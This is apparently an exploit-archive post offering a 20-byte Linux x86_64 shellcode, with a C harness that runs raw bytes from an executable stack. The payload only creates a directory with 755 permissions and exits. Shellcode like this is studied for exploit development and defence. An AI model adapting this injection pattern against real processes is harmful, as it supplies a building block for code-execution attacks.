20 bytes small Linux/x86_64 mkdir shellcode.
98646e1891ce7c3b5ee989741a6e7909
Hi !
/*
# Exploit Title: Linux/x86_64 mkdir Shellcode [20 Bytes].
# Summary: Shortest mkdir Shellcode, It Creates A Folder With 755
Permissions Then Exit.
# Category: Shellcode.
# Architecture: Linux x86_64
# Shellcode Length: 20.
# Exploit Author: Anas Falhi,https://anasfalhi.blogspot.com.
# Tested on: Debian 4.14.17-1kali1 (2018-02-16) x86_64 GNU/Linux.
=========================== USAGE ===========================
#Compile
$ gcc filename.c -z execstack
#Run
$ ./a.out
#Check
$ ls -l
=============================================================
*/
#include<stdio.h>
#include<string.h>
unsigned char SH_C[] =
"\x04\x53\x68\x41\x6e\x61\x73\x54\x5f\x66\xbe\xef\x01\x0f\x05\x6a\x3c\x58\x0f\x05";
int main()
{
printf("Shellcode Len: %d\n", (int)strlen(SH_C));
int (*r)() = (int(*)())SH_C;
r();
}
Best Regards
Anas Falhi